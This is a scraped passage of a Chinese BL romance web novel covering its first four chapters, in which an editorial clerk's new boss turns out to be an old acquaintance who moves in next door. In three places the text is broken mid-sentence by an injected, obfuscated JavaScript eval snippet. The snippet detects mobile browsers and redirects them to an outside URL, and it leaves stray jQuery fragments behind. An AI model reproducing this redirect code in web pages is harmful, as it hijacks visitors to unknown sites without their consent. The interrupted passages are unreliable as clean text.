《说好的做朋友呢？》 1. 第 1 章 更换上司的阴霾随着绵绵的阴雨蔓延在整个编辑部的屋内屋外。 对他们部门颇多关照的总秘发来消息，据说新来的那位作风严谨且严苛。 这两个“严”字更是让编辑部办公室里闷得透不过气来。 钰茗一手撑着下巴，一手按在鼠标上，认真查阅着这一整年的工作记录，已备将来不时之需。 正要点击翻页的时候，放在一旁的手机震了震，屏幕亮起。 晨里的月亮：【茗茗，我的调职申请已通过，下个月就能回来了！】 钰茗微微一怔。 “晨里的月亮”是钰茗暗恋对象赵晨亮的微信名。 当然，也不仅仅是暗恋。两人明面上都当对方是好朋友，但彼此间，都知道对方的心思。 碍于这些年一直相隔两地，始终没有迈开那一步。 赵晨亮突然而至的信息，像是打开了某道锁链，让钰茗的心快速跳动起来。 他抓起手机，快速输入。 【以后都在南城了吗？】 发送过去后，又有些小小懊恼。 这样是不是太迫不及待了？ 下一秒，对方就回了信息，看起来比他更“迫不及待”。 是一条语音信息。 钰茗微抿着唇点开，附耳去听。 哪怕音量很小，传来的男低音却悦耳动听，撩-人心弦。 “是，这次回来再也不走了。” 有光划破眼前，阴沉沉的天空也变得明亮起来。 淡色的唇抿了抿，再也无法抑制向上的弧度。 “到底是年轻人啊，才郁闷了半小时就好了。” 说话的是坐在钰茗旁边的香姐。 和钰茗这种刚来一年，浑身充满了干劲和朝气的年轻人不同，香姐年近五十，眼看就要退休了。 人到了这把年纪，最怕安稳的工作突发变故。 新来的项目经理履历过于豪华，工作态度又严苛谨慎，绝对会影响她“混吃等退休”。 是以，香姐对自己的“未来”很是悲观。 钰茗自打进公司之后，从什么都不懂的新人到现在完全上手，香姐居功甚伟，且非常照顾他。 香姐虽然年纪大，却没有长辈和年长者的固执保守，对时兴的东西也很有兴趣，两人之间毫无年龄的隔阂，甚是合拍。 钰茗认真道：“你的能力那么强，经验也丰富，说不定到时候他还会向你讨教呢！” 知道这不过是宽慰人的话，但说话人神色诚恳，莫名让人舒服。 香姐弯起眼睛：“对，下周的事情下周再说。” 她抬起下巴点了点钰茗的手机：“对象发的信息呀？这么开心？” “对象”两字飞快让钰茗红了耳朵，迅速澄清：“还不是对象！” 香姐：“遥远的对象。” 钰茗：“……” 香姐之所以会这么形容赵晨亮，除了他距离遥远之外，还因为她一直觉得这人不算靠谱，给人一种太过“遥远”的距离。 若真喜欢钰茗，就不该一直吊着他，早早确定关系。 钰茗自然知道香姐的想法，小声为未来的恋人辩驳：“马上不遥远了，他下个月就要回来工作了。” 香姐：“回来了？” 钰茗：“也不走了。” 香姐高兴地笑起来。 钰茗是她很欣赏的后辈，也因此一直担心他的感情走向，这会儿得知对方一切顺利，立刻坐直身体表示自己也应该为了美好的退休生活而奋斗，不能再沮丧了。 钰茗现下的工作是编务，平日里主要负责整理登记资料，就算换了新的领导，也不会对他产生太大影响。 即便如此，他还是跟着大家一起加班到晚上七点多，才迈着略显疲惫的步伐往家的方向走去。 他住的地方离公司不远，走路也只需要十来分钟。 这条路不算宽阔，少有车辆经过，往来只有电动车自行车还有行人，较为安静。 雨停了。 路灯落在路面的小水坑上，留下黄-色的倒影，像是一颗又一颗的星子。 莫名多了几分浪漫的氛围。 钰茗抬腿，踩在前方一个浅浅的小水坑里，一片金色摇曳，像是晃荡的小银河。 他抿了抿唇，心想如果这时候，有人陪他一起走路回家，该多好。 仿佛神明听到了他的心声一般，视野前方突然出现了一双长腿。 目光徐徐往上，一个身形修长高挑的男人走到他前方十来米的路灯旁停下，垂眸看向手里的手机。 钰茗的视线落在对方的侧脸上，钰茗眼皮一动。 这人他认识。 赵晨亮读研时候的学长，路晚风。 这人实在是太有记忆点了，外貌，能力，还有平时待人时候丝毫不遮掩的冷淡，都非常的让人印象深刻。 不光如此，平时和赵晨亮聊天的时候，赵晨亮也不时会提起他。他们同在加国，工作中一直会有往来交集。 不过此刻，男人倒是和他钰茗记忆中有些偏差。 许是路灯光温柔，又或者他较之以前长了一些的刘海，都让他看起来多了几分温柔的味道，不似从前那般拒人以千里之外。 那被路灯照亮的，轮廓分明的侧脸，好看得有些过分。 钰茗不由多看了两眼。 路晚风不是在加国么，怎么会在这里？ 往他旁边的行李箱看了一眼，钰茗不再犹豫，抬腿往前。 “咳咳——” 钰茗在距离路晚风十来米的位置上停下。 听到声音，男人扭头过来。 视线交汇中，钰茗弯起唇：“好久不见。” 一秒。 两秒。 五秒。 十秒。 预想中的回应没有发生，男人眯起黑眸，盯视着他。 钰茗被他看得笑容僵硬：“你是路晚风吧？” “是。” 钰茗微松了一口气，没认错人，他扬起下巴，再次微笑：“好久不见！” 男人依旧盯着他，又过了好几秒，微蹙起眉：“有事？” 钰茗：“……” 钰茗：“？？？” 路晚风这冷漠的态度是……不记得他了？ 是他这几年变了，人家记不得了？ 也不对啊，他前阵子大学校友聚会，还被吐槽说这几年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955988|177612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就他变化最小，看起来还是那种没被工作摧残过的鲜嫩。 本来还想多提示一些，但对面人的态度实在是让人提不起劲来。 多一事不如少一事，钰茗继续往前。 与路晚风擦肩而过的时候，因为走路晃动的手腕突然被按住。 这个动作过于突兀，钰茗浑身一震，扭头过去。 这个角度，两人之间的距离一下子拉得很近，近到钰茗几乎能在对方的黑瞳里看到自己脸上的震惊。 “淮南小区是在这附近么？”路晚风突然问他。 钰茗：“啊？” 路晚风扬了扬手机，“淮南小区”四个字在屏幕上清晰可见。 钰茗双唇动了动。 淮南小区是他住的小区，沿着这条路往前，下一个路口拐过去就是，最多走个两三分钟。 很简单的指路方式，但钰茗莫名有些心里不爽。 可能是因为对方过于冷淡，又或者，是因为对方把自己忘记了这件事。 “你真不认识我？” 钰茗点了点自己，不死心，“我是钰茗。” 方才隔着一段距离，路晚风的眼神有些冷，此刻这么近距离看，对方眸中似有什么在翻涌，莫名多了一种奇异的温度。 尤其在这样一个久雨刚歇，潮湿又不阴冷的夜晚。 “你读研的时候还给我补过课，我们一起去祝山旅游过——” 钰茗说话的声音很好听，语调也是江南那边人特有的柔软，尤其在这闹市一隅安静的小路上。 那次旅游他还闹了好些笑话，想起来都有些脸发热。 对方还维持着刚才的动作，甚至已经抓住了他的手腕。 显然，是已经记起他来了。 也是，这么久不见，一下子没认出来也挺正常。 钰茗翘起唇角，继续给他加深印象：“我是赵晨亮的学弟，他上个月和我聊天的时候还说了和你吃饭的事情，还说跟你提起过我——” 不知是不是他的错觉，在他提到赵晨亮三个字的时候，男人的黑眸明显变得锐利起来。 但那只是瞬息间的事情，等他眨了眨眼再定神看去，男人早已恢复成没什么表情的模样。 “我为什么要记得你？” 一阵冷风刮过，钰茗不由自主打了个冷颤， 而路晚风的声音入耳，比风还冷。 钰茗：“……” 钰茗气得扭头就走。 他为什么要跟这种家伙浪费时间和口水？ 转身要走的瞬间又被扯回来。 ——他的手腕还被路晚风攥着。 钰茗回头，又瞥了一眼路晚风那张好看却又让人生气的脸。 ——不认识路是吧，那我可得给你好好“指路”了！ 他抬手，朝着与淮南小区完全不同方向指了指，隔着夜晚潮湿的雾气，能看到模模糊糊的灯火满楼。 “在那里，过那个红绿灯，再往右转再过三个路口的那个小区就是。” “你走路去就好。” 钰茗皮笑肉不笑地着抬起手臂，把眼前烦人家伙的手甩开。 “很近的。” 也就走个四十来分钟吧。 2. 第 2 章 无关紧要的小插曲伴随着舒服的泡澡消散。 钰茗站在窗边，甩了甩吹得半干的头发，闭眼深吸了一口气，享受着周围洗发露和精神的清新。 一旁的手机铃声响起。 他精准地抓起手机，接通电话，开口说话，全程没有睁眼。 “早上好呀！” 电话那头传来赵晨亮爽朗的声音：“晚上好茗茗。” 两人之间隔着十二小时时差，一早一晚，都是八点。 钰茗依旧闭着眼，唇边漾出一圈浅浅的笑纹，轻“嗯”了一声。 “工作怎么样？”如往常般，赵晨亮先问。 说起工作，钰茗自然有一肚子话想要说，不过这些都不重要，他想问一下赵晨亮的工作。 “我哪天不都是那样，你那边呢？一切都顺利么？” 赵晨亮：“顺利到不能再顺利了，茗茗，还有二十多天，我们就能一直待在一块了。” 钰茗抿着唇睁开双眼。 夜色如镜，倒映出一张面若桃花的俊俏青年容颜，还有他亮如星辰的璀璨眼眸。 “开心吗？”赵晨亮问他。 钰茗刚要说开心—— “Sam，可以麻烦你过来看一下这个内容么？”一道温和的男声突然出现在听筒里。 钰茗对这个声音很熟悉，江沐，赵晨亮的合租伙伴，也是他的同事。 钰茗时常在电话里听到他的声音。 “茗茗等我一下。”赵晨亮说。 钰茗嘴上说着“好”，眉头却不由自主皱了起来。 他向来支持赵晨亮的工作，平常两人打电话的时候，只要对方有工作，他都会主动挂断或者等着。 ——但这种时候被打断，难免心里很不愉快。 移开手机，钰茗有些心不在焉地看着窗外。 一道修长的身影在他前方的小径上经过，手里拉着一个略显眼熟的行李箱。 钰茗探身往前。 那人在他隔壁别墅的门前停住，仰起头来。 钰茗家隔壁原先住着一对六十多岁的老夫妻，老太太已经退休了，老先生则居家工作。 夫妻两人很爱鼓捣他们家的小院子，钰茗每天上班的时候，总能遇到两人在花园里摆弄花花草草，看到他也会很热情地和他打招呼。 有一次聊天的时候，老太太随口提了一句，说她先生的工作是翻译文献。 钰茗的工作一直会和一些翻译家接触，对老先生很感兴趣，可惜没等他打听出来什么，两人竟然卖掉房子搬走了。 没多久，施工队进场开始装修。 淮南小区不算什么新小区，周边入学环境也一般。 钰茗会选择这里，完全只是因为离上班的地方近，房价也低于均值，能够接受。 但隔壁成堆的进口装修材料，还有后面进场的价格不菲的家具标牌，都可以看出来，即将要搬进来的主人是对生活品质颇有要求的。 这么一个有钱，又追求生活格调的人，为什么会选择“淮南”这个不新不旧，环境也一般的小区呢？ 钰茗百思不得其解，继而，对将要搬进来的新主人很是好奇。 此刻，那个令他不解许久的“谜题”终于揭开了谜底—— 钰茗攸地瞪大双眼。 靠—— 这能不能更巧一点？ 怎么又是他？！！ 路晚风为什么会搬来这里？ 钰茗想问一下赵晨亮：“亮哥，你记得上次和路——” 几乎同一时间，赵晨亮的声音也在听筒里响起：“抱歉啊钰茗，我这边有点事情，明天再和你——” 钰茗：“……” 反应过来钰茗刚才在和自己说话，赵晨亮立刻改口：“怎么啦，你先说。” 赵晨亮说话间，路晚风已经推开大门，庭院里的路灯也随之被点亮。 暖黄的路灯将他凌厉的侧脸线条勾勒得越发温柔，整个人优雅得像是一个在赶赴爱人夜约的吸血鬼伯爵。 钰茗甩了甩头。 他在想什么啊，怎么会有这种奇怪的联想？ 电话那头，久久得不到钰茗回应的赵晨亮在喊他：“茗茗，你刚才……是有事要和我说么？” 钰茗：“没，没有，你先去忙。” 那些烦躁早被甩到天边去了，钰茗此刻只想再去确认一下，路晚风是不是真要搬到隔壁那座房子里去！ 那座门打开之后，很快被关上。 随后，屋内的光全数亮起，那道颀长熟悉的身影出现在二楼。 隔着半透的窗帘，钰茗看到路晚风抬起手来—— 那个动作，路晚风在脱-衣服。 钰茗眨了眨眼，心想自己这样子偷看是不是不大好。 没等他进行下一步动作，路晚风抽-出皮-带，看样子是要准备脱-裤-子。 钰茗飞速转身，哪怕隔着窗帘，也不好随便偷看别人换衣服。 他背身靠在落地窗上，抓起手机盯着看了两秒，给好友徐方南打电话。 “那个金融系系草？” “传言没毕业就被好几个公司开高价挖，最后都被拒绝？” “咱们副校最骄傲的学生，每年校庆都要抓出来反复念叨的————” “路晚风？” 钰茗忍不住吐槽：“我知道你很欣赏他，但也不用给他冠这么多头衔吧？” 徐方南：“我这不是震惊吗？茗茗，你那边不是老小区么？我记得你毕业买的时候两万多一方吧？” 钰茗：“嗯。” 徐方南：“路晚风这种有钱人家的孩子为什么会住你们小区去？” 钰茗耸肩：“我要是知道干嘛问你？” 他短暂停顿了一下，衰声继续：“其实这个不是重点，重点是我刚才回来路上遇到他，还发生了一些……不是很愉快的事情。” 徐方南：“啊？” 钰茗将刚才路上发生的事情给徐方南说了一遍。 “路晚风竟然不记得你了？”徐方南不解，“你那时候老去找赵晨亮，和他接触那么多，他不是还在你生日的时候给你送过礼物，怎么就完全不记得你了？” 说起这个，钰茗就来气：“可能是人家贵人多忘事，毕竟我只是个小喽喽，不记得也没什么奇怪！” 最后几个字几乎是从牙缝里蹦出来的，听得出来非常在意了。 徐方南快速切换关注点：“他这会儿才到，该不会真跑了那些冤枉路吧？” 钰茗捂住双眼：“我就担心这个事情，他现在住我隔壁，以后遇到了总不能解释说，因为你没认出我，我一个生气给你乱指路吧？” 徐方南沉默了几秒：“看过那个《向左走向右走》的漫画吗？” 钰茗：“这漫画和我们现在聊的话题有什么关系吗？” 徐方南：“人家住一个楼里都能一直遇不到，你和他住隔壁，只要想不遇到还不容易？” “也……是。” 这种漫画小说里的内容自然不可过于当真，不过徐方南的说法是没错的。 淮南小区作为老小区，绿化非常不错，只要他平常注意一些，偶遇的概率没有那么高。 等过段时间，哪怕真的碰巧遇到，也能厚着脸皮装什么都不记得了。 反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955989|177612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正是路晚风自己先不认人的。 - 挂断电话，钰茗简单收拾了一下家务。 弄完一看时间，十点。 明天周五，还要再做牛马一天，该睡觉了！ 准备拉上窗帘的时候，钰茗观察了一下隔壁的情况，路晚风已经不在卧室里了。 二层西侧的房间灯亮着，钰茗看过去，很快寻到了人。 和刚才隔着窗帘只能看到身体轮廓不同，这会儿，路晚风将西面房间的窗帘全部拉开，哪怕隔着一段距离，钰茗依旧能清晰看到房间里摆放着好几种健身器材。 而路晚风的手里正提着一个看上去份量不轻的哑铃，准备锻炼。 这人不累么？ 折腾了一天搬过来，还走了那么多冤枉路，竟然还没忘记锻炼？ 路晚风看起来确实一点都不累，他连着一口气做了十来个举哑铃，动作利落标准，一点不比那些什么专业的健身老师差。 灯光明亮，将他有力瘦削的腰线照得分明，隐约能看到健身服里面结实的腹肌轮廓。 盯着看了好一会，钰茗猛地收回视线。 等等—— 他在想什么? 他在做什么！！！！ 他可是马上要有家室的人，怎么可以被别的男人的身体吸引？ 尤其是这种冷漠又讨厌的家伙？ 这么想着，他又往那边瞥了一眼。 然后就移不开了。 路晚风练完举的动作，现在开始了胸推。 即便被衣服包裹，却能清晰看到对方胸膛随着前推的动作变得饱满—— 钰茗双臂抱胸。 既然路晚风“富有”又“慷慨”，那他就不客气了。 - 手机在不停震动，提示着有电话接入。 路晚风放下手里的哑铃，扭头看向一旁的手机。 是他大学的学弟赵晨亮。 路晚风松开哑铃，拿起一旁的水杯，喝了一口：“有事？” 赵晨亮：“学长，我刚才去了趟你之前的事务所，他们说你回国了？怎么这么突然？” 路晚风：“有点事。” 赵晨亮：“那要在那边待多久？我下个月也要回来，如果你没走的话我们可以见个面。” 路晚风“嗯”了一声，抬眸。 他的小邻居家卧室灯依旧亮着，一开始躲在窗帘后的人这会儿已经光明正大站在窗边往这边看了。 这么多年过去了，这家伙的爱好还是没怎么变。 路晚风放下水杯：“我这次回来，会待很久的时间，也可能不走了。” 听他这么说，赵晨亮来了兴趣：“是什么让你突然这么决定的？” 路晚风：“重要的事。” “看起来是好事，你心情听起来很好。” 路晚风唇角勾起：“确实是好事。” 向来冷硬，没有太多情绪的声音里多了几分温柔，赵晨亮越发好奇：“是什么样的好事，方便和学弟说说不？” 赵晨亮等了一会，路晚风没有回复。 他嘿嘿一笑，知道这是男人不想回答的意思，便自顾自地说了下去。 “我这次回来也有好事，就是那个从小和我一起长大的小朋友，你以前经常见到的，钰茗……” “小朋友钰茗”几个字，凝结了路晚风唇边的笑意。 他的声音突然冷淡：“不说了。” 被迫终止话题的赵晨亮：“怎么了？” 路晚风扯住衣领，扬手把被汗打得半湿的健身服T恤脱-掉。 “忙。” 忙着展示。 3. 第 3 章 第二天是久违的晴天。 一路上，徐徐吹来的风都带上了温柔的味道。 办公室里的氛围也如此，钰茗出去拿了个文件，回来的时候，几人聚在一起，其乐融融地在聊天。 “这也太帅了吧！” “当时说新的主编经验丰富且严苛，我还以为会像总编那样，没想到竟然如此年轻有为！” “是啊，才29岁！这样的能力和成就，真像做梦一样！” 说话的是办公室里几个年轻女生，语气里满是喜悦和感叹。 钰茗凑过去，正要问是不是新主任来了，被她们夹在中间的香姐吐槽道：“当时钰茗来的时候你们不也这么夸的，还让我去问人家有没有女朋友。” “那不一样啊，主编这种一看就是狼系，钰茗是奶狗系，完全不同的风格！” 钰茗：“……” 他轻咳了一声：“我在呢。” 几人回头，刚发表了“狼系奶狗系”虎狼之词的小慧，丝毫不脸红地抬手拍了拍他的肩膀：“茗茗你放心，就算新主编再帅，你在姐姐们的心里都是最特别的。” 钰茗嘴角抽了一下：“听到这个真的很让人开心。” 香姐看到他，顺手将手里的档案递了过来：“新主编，路晚风。” 钰茗眼瞳一震，迅速低头去看。 男人熟悉又陌生的笔迹映入眼帘，刚劲而锐利，和他给人的感觉一样。 钰茗双唇微张，满眼的不可思议。 这—— 这几天有关路晚风的“巧合”是不是有些太多了？ 没等他说什么，门外传来一阵脚步声，伴随着总编略显苍老的低沉声音。 “下午好呀大家！” 几人快速走到门边做迎接。 钰茗跟在众人身后，依旧满是不置信。 路晚风是赵晨亮的学长，他们不都是学金融做市场调研方向工作的吗？ 而且他之前听赵晨亮说过，路晚风这两年手里有了好几个成功项目，在J国风投圈子里也有了很不错的知名度。 路晚风为什么会突然想不开跑来一个出版社做主编？ 哪怕是总编的位置，应该也不能和他之前比吧？ 再说了，这可是跨界，他真的没问题？ 这么想着，钰茗的视线下意识地停留在走进来的路晚风身上，长久没有移开。 这么盯着人看得时间太久，男人似察觉到了什么，扭头过来。 两人视线交错，钰茗恍然回神，僵硬地对他咧了下嘴，收回视线，继续分析。 与同在南城，主攻当代文学的另一家出版社“川海”不同，钰茗所在的壹文出版社，核心项目是外国文学译本出版。 国内此类出版社众多，“壹文”一直属于不温不火状态。直到这两年，连续的几部精装合集爆火，一下子给他打开了大量知名度。 知名度井喷，同样也给相对来说年轻的出版社带来了很多问题，前阵子运营还给公司捅了个漏子，直接把明年的出版计划全打乱了。 路晚风在这种时候来，会不会更多是来解决这个问题？ 钰茗的猜测很快得到了验证。 总编说了两句场面话，拉着路晚风进了办公室，剩下的几人不敢再聊天，纷纷回到自己位置上开始工作。 香姐拿起杯子，朝着钰茗晃了晃：“要不要去泡杯咖啡。” 这是香姐有话要说的暗示，钰茗迅速拿了自己的杯子，跟在她身后走出了办公室。 等进了茶水间，钰茗才发现自己手里还拿着那份资料。 他垂眸，视线落在路晚风的签名上。 香姐也在看：“我听说，他是应总编邀请来救火的，应该不会在咱们部门待太久。” 钰茗：“那他会去哪里？” 香姐：“暂时好像谁都不清楚，我看了他的资料，你们是一个大学毕业的，要不你找机会套套近乎？” 钰茗几乎脱口而出“我们之前认识”。 最后他还是忍住了。 毕竟他也不清楚，他和路晚风，到底还算不算朋友。 -- 路晚风显然如传闻中一样，是个工作狂。 刚刚入职，立刻不停叫人进去谈话以及送资料。 壹文有三个主编，钰茗来得晚，只和路晚风的前任有过交集。 据说那位已经是最负责的，也不能和路晚风的工作强度相比。 从上午十点开始到下午四点，路晚风几乎一直都在工作，没有停过。 钰茗被叫进去的次数最多。 当然这里肯定没有什么“私人恩怨”，单纯只因为钰茗手里这一年的资料最多。 前面进去的时候，路晚风只简单和他说上两句，让他放下资料；最后一次进去，路晚风正在打电话，仅仅对他打了个手势就让他出去了。 完美贯彻了最初“我为什么要记得你”的初始印象。 这样也挺好，钰茗在心里宽慰自己，上司下属之间还是应该保持距离的。 新官上任“三把火”。 第一把就是大家可以准时下班。 这个消息让全办公室紧绷工作了一天的人欢欣雀跃。 难得可以准时下班，又是周末，没几分钟，不算小的办公室里，只剩下靠门边坐着的钰茗。 倒也不是他热爱加班，想在领导面前表现。 而是正好临下班的时候，有一份稿子突然送到。 他得核验确认无误，才可以结束工作。 钰茗一开始应聘的是“编辑”，进来之后却被分配到了编务的岗位上。 编务和编辑，虽然只差了一个字，前景完全不同。 香姐暗示过钰茗，让他去主编或者总编那边套套关系，看能否回到编辑的位置上去。 钰茗却有不同想法。 每一个工作岗位，都一定有其存在性和可以学习的地方，既来之则安之。等他能力足够，自然会再去去努力成为一个编辑。 整理完，刚拉开背包拉链，手机震了震。 钰茗垂眸，赵晨亮给他发了一段视频。 视频中，赵晨亮双手握在方向盘上，专注开着车，他的前方，侧方，是碧蓝无垠的海面。 有一缕光从他的额头扫到鼻尖，将他硬挺的五官勾勒的十分帅气。 视频还未放完，赵晨亮的信息已经发了过来。 【怎么样，哥帅不？】 钰茗关闭还未看完的视频，一个字一个字敲：【很帅。】 刚发过去，赵晨亮的语音打了过来：“我就知道茗茗你会喜欢！” 钰茗笑，不说话。 赵晨亮知道这是他在害羞：“每次出差的时候，我就想着茗茗要是也在该多好。” 钰茗伸手，把放在一旁的小卡纸抓起来：“你这次又是一个人去的？” 卡纸上是他画的LOL（英雄联盟）游戏里的一个英雄角色，仙灵女巫璐璐。 钰茗虽然读的中文系，平日的爱好却是画画。 大学的时候，时常拿着速写本跑去篮球场上边看边画。 说起来，他和路晚风变得熟悉，也是因为在篮球场上连续遇到。 “对啊，公司简直不把我当人，要在我走之前，压榨掉我最后一丝价值。” 电话里赵晨亮的声音拉回钰茗的思绪，他手指轻轻摩挲着画卡表面的粗糙纹理：“那你现在到那边了吗？” 赵晨亮说是，钰茗关心地问了两句别的，挂断的时候，赵晨亮惋惜道：“可惜晚上不能陪你双排了。” 钰茗声音如常：“没事，肯定是你工作重要。” 赵晨亮：“茗茗你太好了，等我回来，我送你一个璐璐的皮肤！” 钰茗抬起眼皮。 卡纸上画的就是璐璐的新皮肤，这个皮肤属于限定，需要抽卡才能得到。 钰茗虽然不缺钱，却不怎么愿意烧钱在这种概率抽卡上，赵晨亮知道他这一点，遇到他喜欢的皮肤，都会提前准备好送他。 挂断电话后，钰茗又翻回去看了一次视频，眉间的折痕越发深。 他在原地坐了好一会，方才微叹了一口气，整理好背包。 起身的时候，手无意带过那张画着璐璐的卡纸，落到了垃圾桶里。 最后一片晚霞没入地平线。 路晚风推开编辑部的门，下班后他去了趟总编那边，和人聊了许久工作。 经过钰茗的桌前，路晚风脚步微顿。 借着走廊的余光，落在垃圾桶最上方的小画卡，和下面那行“我要拥有”的字清晰可见。 凝视了几秒，路晚风弯腰将卡纸捡了起来。 -- 关上家门，钰茗一手提着垃圾袋，一手抓着手机和好友吐槽。 “那个视频是有人帮他拍的，所以他并不是一个人出去办事。” 徐方南有些不懂钰茗为什么这么生气：“两个人一起出差也很正常吧？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955990|177612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钰茗把垃圾袋丢到分类垃圾桶里：“是很正常，所以他为什么要骗我？” 徐方南说不出个所以然来。 钰茗：“我刚才很想直接问，又觉得自己有点小题大做，毕竟我和他的关系没到那个程度。” “但那种感觉真的很糟糕，就仿佛——” 钰茗止住话语，仿佛赵晨亮偷偷做了什么背叛他的事情。 “算了，不聊这个了，说了就糟心。” 徐方南和钰赵两人都是多年朋友，也算是一路看着他们走过来，知道他们的不容易：“茗茗，我觉得你是不是有些太敏感了？这些年赵晨亮对你一直都很好，说不定这个视频是他以前拍的没发给你，不是这次的。” 钰茗轻“嗯”了一声。 都说愈接近幸福，愈容易患得患失。 他现在大概就是这种状态，不要多想比较好。 安慰了自己一通，钰茗决定换个话题。 “说起来，我好像知道路晚风为什么会选择我这个小区了。” 徐方南：“为什么？” 钰茗看着前方被路灯柔光照亮的小径：“因为这里真的很好。” 到公司距离很近，可以比一般的上班族多睡二十分钟； 虽是有年龄的小区，孩子却很少，早上晚上都不吵闹； 最重要的，是绿化覆盖率很高，他站在这，能听到另外一条路上有人散步聊天，却彼此互不打扰。 这些也是他会选择购买这个小区房子的考虑因素。 钰茗弯起唇角，正要和好友解释，视野前方，提着公文包的男人正徐步前来。 绿化好的缺点此刻暴露无遗。 错开走的时候能完全遇不到，但如果在同一条路上遇到，那就完全避不开了。 钰茗只能直直站在那，看着路晚风走到面前。 这两天，他和路晚风之间巧合的事情实在是太多了，多到此刻提前和人遇上，钰茗也能很好地收住自己的表情：“路晚——主编好。” 电话那头的方南“诶”了一声：“茗茗你在说什么？” 钰茗丢下一句“我等下和你解释”，飞快挂断了电话。 路晚风眉心动了一下：“上次看到不是直接叫名字么？” “……”钰茗“哦”了一声：“那岂不是太不尊重主编您了。” 路晚风：“……” 他唇角动了下：“指一条完全相反的路也算尊重人？” 钰茗理直气壮：“您都不记得我了，我为什么要告诉你淮南小区在哪里？” 路晚风：“。” 他抬手摸了摸鼻子：“行。” 钰茗说完其实有点后悔。 不管前面如何，现在路晚风是他的直系领导，而且给人胡乱指路确实是自己不对。 但就是不想道歉。 这家伙怎么会忘掉他呢？ 心里那股子不甘心升腾了起来：“你那时候……真不记得我了？” 路晚风脸上的表情有那么一丝的古怪：“这么在意我记不记得你？” 钰茗皱眉：“怎么可能！” 路晚风：“那问这么多次做什么？我记不记得你很重要？” 钰茗：“当然重要啊！” 明明是认识的人，还要当不认识—— 他竟觉得自己有些……委屈。 当这个词出现在脑子里的时候，钰茗自己都怔住了。 他不是小孩子，自认性格坚定，工作中遇到困难也从来不埋怨。 没想到此刻，竟会因为路晚风不记得自己这点小事，开始委屈起来。 天色已经全黑了。 路灯下青年微垂的眼看起来有那么一瞬的迷茫。 路晚风往前迈了一步，想要说些什么，钰茗先他一步收拾好表情：“我先回去了，明天见主编。” 路晚风压住眉头，看着钰茗在他面前转过身。 路灯将他的身影拉得很长，也让他往前走的步子看起来很慢。 心提着，又情绪要喷涌，又被框住。 路晚风一手插到风衣口袋中，很轻摸了摸那张卡纸。 “家里有笔记本电脑吗？”他对着钰茗的背影道。 钰茗飞速转身，瞪大的眼睛里是藏不住的不满，刚才的迷茫与失落早已消失不见。 “这是要……加班？！” 路晚风摩挲了一下掌心卡纸粗糙的纹理，声音里带上了不易察觉的淡淡笑意：“是，加班。” 4. 第 4 章 钰茗知道路晚风家在哪里，还是装模作样地问了他，然后适时地表演了一下惊讶：“主编你住在我家隔壁诶！” 路晚风表情如座钟般纹丝不动：“那挺好，以后晚上找你工作也方便。” 钰茗：“……” 真是万恶的资本主义。 虽然在心里埋汰了对方一万遍，钰茗还是很愿意加这个班的。 路晚风的能力，不用那份华丽的个人履历表，钰茗也很清楚。 当初大学的时候，他还因此受益匪浅过。 -- 钰茗抱着笔记本电脑，推开了路晚风家的门。 之前装修的时候他张望过很多次，也知道里面大概的结构状态，进来还是真实感受到了金钱的力量。 进口的麻灰岩石地面，微水泥墙面，全屋人工智能，以及看不到标牌仅凭造型，就能感受到非常昂贵的各类家具。 大学时候一直听闻路晚风家里很有钱，此刻站在这里，才能感受到到底多么有钱。 ——一个短期住的老房子，也舍得这么花钱。 “站门口做什么？”里面传来路晚风的声音。 钰茗循声看过去，男人正坐在岛台前方，双手快速敲击着键盘。 他的身旁，摆着另一只高脚椅。 钰茗走过去，摆好电脑，正要将挨得路晚风很近的椅子拉远一点。 视线掠过路晚风电脑的屏幕，那上头恰好跳出他非常熟悉的LOL游戏结算画面。 钰茗“诶”了一声。 男人偏头过来：“玩两把？” “诶——”拉长尾调变成了“啊？” 钰茗抓着椅子坐下，全然忘了刚才想的要把椅子拉远一点：“不加班么？” 路晚风：“劳逸结合。” 行吧。 领导说什么都是对的。 “好。” 钰茗打开游戏，屏幕上跳出抽卡界面，盯着上头特别可爱的璐璐立绘看了两秒，挪动鼠标点下关闭。 他打开好友界面：“我看下你的名字，加你好友。” Wind。 很普通的名字，风。 头像是一个可爱的……璐璐？ 等等—— 这个头像，这个名字，这家伙不就在他的好友里吗？ 钰茗的游戏好友有几个分组，这个“Wind”没和他打过游戏，被他转移到了不熟悉里面。 为什么不删好友，因为对方一直都是可爱的璐璐头像，作为璐璐厨，怎么能删另一个璐璐厨的好友？ 钰茗已经记不得是什么时候和路晚风加的好友了，他甚至不记得这人是路晚风。 也许是之前和赵晨亮一起打游戏的时候拉进来，两人一起玩过。 不过这些都不重要，重要的是—— 